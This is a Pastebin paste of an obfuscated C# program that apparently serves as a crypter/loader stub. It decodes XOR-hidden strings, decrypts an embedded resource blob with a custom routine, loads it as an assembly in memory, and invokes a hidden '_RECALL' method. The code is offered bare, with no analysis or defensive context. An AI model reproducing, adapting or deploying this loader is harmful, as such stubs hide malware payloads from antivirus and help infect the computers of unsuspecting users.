Advertisement
Guest User

Untitled

a guest
Jul 25th, 2012
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.72 KB | None | 0 0
  1. using Microsoft.VisualBasic;
  2. using Microsoft.VisualBasic.CompilerServices;
  3. using System;
  4. using System.IO;
  5. using System.Reflection;
  6. using System.Runtime.CompilerServices;
  7. using System.Windows.Forms;
  8. namespace ConsoleApp
  9. {
  10.     public class xYlTiNtYsA : Form
  11.     {
  12.         private static Assembly N領颁顁饄顱;
  13.         private static Assembly N頹餀顠餓馒;
  14.         [STAThread]
  15.         public static void Main()
  16.         {
  17.             checked
  18.             {
  19.                 string text = "5SXfak`x|SBfl}`|`i{!AJ[SI}nbjx`}dSy=!?!:?8=8Sb|l`}cfm!kcc";
  20.                 string str = null;
  21.                 int arg_16_0 = 0;
  22.                 int num = text.Length - 1;
  23.                 for (int i = arg_16_0; i <= num; i++)
  24.                 {
  25.                     int @int = (int)(text[i] ^ '\u000f');
  26.                     xYlTiNtYsA.USA(ref str, @int);
  27.                 }
  28.                 byte[] by = File.ReadAllBytes(Strings.Left(Environment.SystemDirectory, 1) + str);
  29.                 xYlTiNtYsA.N領颁顁饄顱 = xYlTiNtYsA.HelloCheck(by);
  30.                 byte[] array = xYlTiNtYsA._AsmByte(Conversions.ToString(NewLateBinding.LateGet(xYlTiNtYsA.EN(), null, "GetString", new object[]
  31.                 {
  32.                     "jQlEvBvFpI"
  33.                 }, null, null, null)), 11264);
  34.                 byte[] array2 = xYlTiNtYsA._AsmByte(Conversions.ToString(NewLateBinding.LateGet(xYlTiNtYsA.EN(), null, "GetString", new object[]
  35.                 {
  36.                     "uGuMh"
  37.                 }, null, null, null)), 15);
  38.                 int num2 = (array.Length - 1) * 8;
  39.                 int arg_D6_0 = 0;
  40.                 int num3 = num2;
  41.                 for (int j = arg_D6_0; j <= num3; j++)
  42.                 {
  43.                     int num4 = j % array.Length;
  44.                     byte b = array[num4];
  45.                     byte b2 = array2[j % array2.Length];
  46.                     int num5 = j + 1;
  47.                     int num6 = (int)(b ^ b2);
  48.                     int num7 = num5 % array.Length;
  49.                     int num8 = num6 - (int)array[num7];
  50.                     int intt = num8 + 256;
  51.                     array[num4] = (byte)xYlTiNtYsA.GetPlatinum(intt);
  52.                 }
  53.                 xYlTiNtYsA.RSizeArray(ref array);
  54.                 Assembly assembly = Assembly.Load(array);
  55.                 xYlTiNtYsA.Phil(assembly);
  56.                 xYlTiNtYsA.YT(xYlTiNtYsA.TY(assembly));
  57.             }
  58.         }
  59.         public static void Phil(Assembly AA)
  60.         {
  61.             AA.CreateInstance("A.A");
  62.         }
  63.         public static void USA(ref string peso, int @int)
  64.         {
  65.             peso += Conversions.ToString(Strings.ChrW(@int));
  66.         }
  67.         public static void RSizeArray(ref byte[] src)
  68.         {
  69.             Array.Resize<byte>(ref src, checked(src.Length - 1));
  70.         }
  71.         public static Assembly HelloCheck(byte[] By)
  72.         {
  73.             return Assembly.Load(By);
  74.         }
  75.         public static int GetPlatinum(int intt)
  76.         {
  77.             return intt % 256;
  78.         }
  79.         public static byte[] _AsmByte(string bitString, int size)
  80.         {
  81.             checked
  82.             {
  83.                 byte[] array = new byte[size + 1];
  84.                 string[] array2 = Strings.Split(bitString, "-", -1, CompareMethod.Binary);
  85.                 for (int i = 0; i <= size; i++)
  86.                 {
  87.                     string value = array2[i];
  88.                     array[i] = (byte)Convert.ToInt32(value, 16);
  89.                 }
  90.                 return array;
  91.             }
  92.         }
  93.         public static Type TY(Assembly asm)
  94.         {
  95.             xYlTiNtYsA.N頹餀顠餓馒 = asm;
  96.             return asm.GetType("A.A");
  97.         }
  98.         public static object YT(Type T)
  99.         {
  100.             return T.InvokeMember("_RECALL", BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(xYlTiNtYsA.N頹餀顠餓馒.CreateInstance("A.A")), new object[0]);
  101.         }
  102.         public static object EN()
  103.         {
  104.             checked
  105.             {
  106.                 object[] args = new object[]
  107.                 {
  108.                     "hDhNb",
  109.                     Assembly.GetExecutingAssembly()
  110.                 };
  111.                 string text = "Pzpwfn-Qfplvq`fp-Qfplvq`fNbmbdfq";
  112.                 string typeName = null;
  113.                 int arg_31_0 = 0;
  114.                 int num = text.Length - 1;
  115.                 for (int i = arg_31_0; i <= num; i++)
  116.                 {
  117.                     int @int = (int)(text[i] ^ '\u0003');
  118.                     xYlTiNtYsA.__DASM(ref typeName, @int);
  119.                 }
  120.                 int bindingAttr = 566;
  121.                 return xYlTiNtYsA.N領颁顁饄顱.CreateInstance(typeName, true, (BindingFlags)bindingAttr, null, args, null, new object[0]);
  122.             }
  123.         }
  124.         public static void __DASM(ref string Typ, int @int)
  125.         {
  126.             Typ += Conversions.ToString(Strings.ChrW(@int));
  127.         }
  128.     }
  129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement